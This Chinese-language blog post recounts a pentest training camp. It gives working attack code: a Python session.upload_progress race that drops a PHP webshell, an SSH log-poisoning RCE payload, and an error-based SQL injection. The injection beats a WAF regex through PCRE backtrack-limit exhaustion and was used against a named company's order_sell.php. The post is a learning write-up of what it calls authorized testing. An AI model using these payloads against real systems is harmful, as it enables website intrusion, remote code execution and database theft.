整理博客时翻出今年 1 月寒假班(培训的前一期)的材料——那时候我还没开始写安全博客(第一篇 sec-basic 是 3 月的事)。其中有份自己整理的实战记录《CQZSZY SQL 注入与 WAF 绕过实战记录》,是第一次在真实授权目标上完整走通注入+绕过,现在看依然有纪念意义,整理成这篇。暑假班的系统版笔记见注入深挖和绕过手册。
0x01 第五天:文件包含到 RCE 的脚本包
寒假班发了一套”文件包含相关脚本”,覆盖了 LFI→RCE 的三条标准路线,比课堂讲解更工程化:
① session.upload_progress 竞态包含。PHP 默认开启的 upload_progress 会把上传进度写进 session 文件,其中文件名参数可控——双线程竞态:一个线程不停 POST 写入带恶意代码的 session,另一个线程不停 GET 包含 sess_<sid>:
def t1(s): # 写:PHP_SESSION_UPLOAD_PROGRESS 值 = <?php fputs(fopen('shell.php','w'),'<?php system($_REQUEST[11]);?>');?>
s.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': payload}, files={'file': ('a.txt', f)}, cookies={'PHPSESSID': sessid})
def t2(s): # 包含:?file=E:/phpstudy_pro/Extensions/tmp/tmp/sess_zyl
s.get(url + f'?file=.../tmp/sess_{sessid}')
脚本的工程细节值得学:写入路径硬编码目标 web 根目录(Windows 下 phpStudy 的路径结构),一旦竞态命中,落地的是持久 webshell,比每次竞态执行一步舒服得多。
② SSH 日志毒化。LFI + auth.log:SSH 登录时用户名被原样写进 /var/log/auth.log,把用户名写成 <?php system($_GET['c']);?> 再包含日志文件即 RCE。前提是日志路径可猜且可读(Debian/Ubuntu /var/log/auth.log,CentOS /var/log/secure)。
③ 临时文件包含的系统差异。Windows 和 Linux 的 php5 环境临时文件包含行为不同(路径格式、大小写敏感、长度上限),脚本里专门做了双平台适配——这类”同漏洞跨平台差异”的坑只有真打才能遇到。
0x02 第六天:手工注入的知识框架
当天的笔记只有几行,但框架是对的,和后来暑假班系统学的完全对上:
- 手工注入 MySQL 常见函数;2. 联合查询注入与报错注入;3. BP 配合联合查询实现注入;4. BP 真实爆破账号密码进一步入侵;5. 注入真实盲注。
外加三条心法,当时写在笔记里,现在验证全对:
- 你有较为扎实的基础,才能想到各种绕过方案;
- 遇到问题时多思考,而不是换工具重试;
- 多学漏洞利用技巧——绕过的本质是知识量。
0x03 实战:重庆再生能源集团官网注入与正则回溯绕过
这是那份实战记录的主体。目标:授权测试站点 order_sell.php,POST 参数 bs。
定位与确认
bs=1' → SQL 语法错误回显(near '1768753587')')→ 确认注入点存在
bs=1' and ... → WAF 拦截
摸清 WAF 的规则
当时测试的绕过手法和结果(这是整篇记录最值钱的部分——先画敌人的边界):
| 尝试 | 结果 |
|---|---|
select/**/table_name/**/from 注释切分 | 失败 |
SeLeCt TaBlE_NaMe FrOm 大小写混淆 | 失败 |
selselectect 重叠混淆 | 部分绕过但不稳定 |
规律:只要命中 select(.*)from 模式就拦截 | WAF 用的是贪婪正则 |
正则回溯:100 万个 a 的胜利
贪婪正则 select(.*)from 的死穴是回溯:.* 吞掉全部字符后找不到 from,引擎开始逐字符回溯。PHP 的 pcre.backtrack_limit 默认 100 万次——在注释里填 100 万个垃圾字符,正则引擎回溯耗尽放弃检测,WAF 直接放行:
junk = "a" * 1000000
bs = f"""1' and updatexml(1,concat(0x7e,
(select/*{junk}*/table_name from/*{junk}*/information_schema.tables limit 1),0x7e),1)
and '1aaaaa'='1"""
# 响应:XPATH syntax error: '~CHARACTER_SETS~' → 绕过成功
报错注入的结构是标准姿势:updatexml(1, concat(0x7e, 子查询), 1) 让非法 XPath 报错回显数据。GET 传不了 100 万字符,所以走 POST(当时的笔记原话:“我不信他没有 post 注入”——dirsearch 扫后台、AWVS 爬虫、robots.txt、Google Hacking 全部试了一遍之后死磕 POST 的判断是对的)。
复盘
这次实战给我的三个 lasting 认知,后来在绕过手册里都成了核心条目:
- 绕过从”画边界”开始——先系统测试 WAF 拦什么放什么,比盲目堆 payload 快十倍;
- 打引擎的短板,不打规则本身——大小写/注释是规则层对抗,回溯是引擎层对抗,后者对几乎所有 PHP WAF 通用;
- sqlmap -r 挂文件跑,手工绕过的成果可以无缝交给自动化——手工探路 + sqlmap 收尾是效率最高的组合。
相关旧文
- SQL 注入课堂深挖、SQL 注入绕过手册
- 文件包含的高阶玩法
- PHP 反序列化进阶(正则回溯在反序列化场景的同一应用)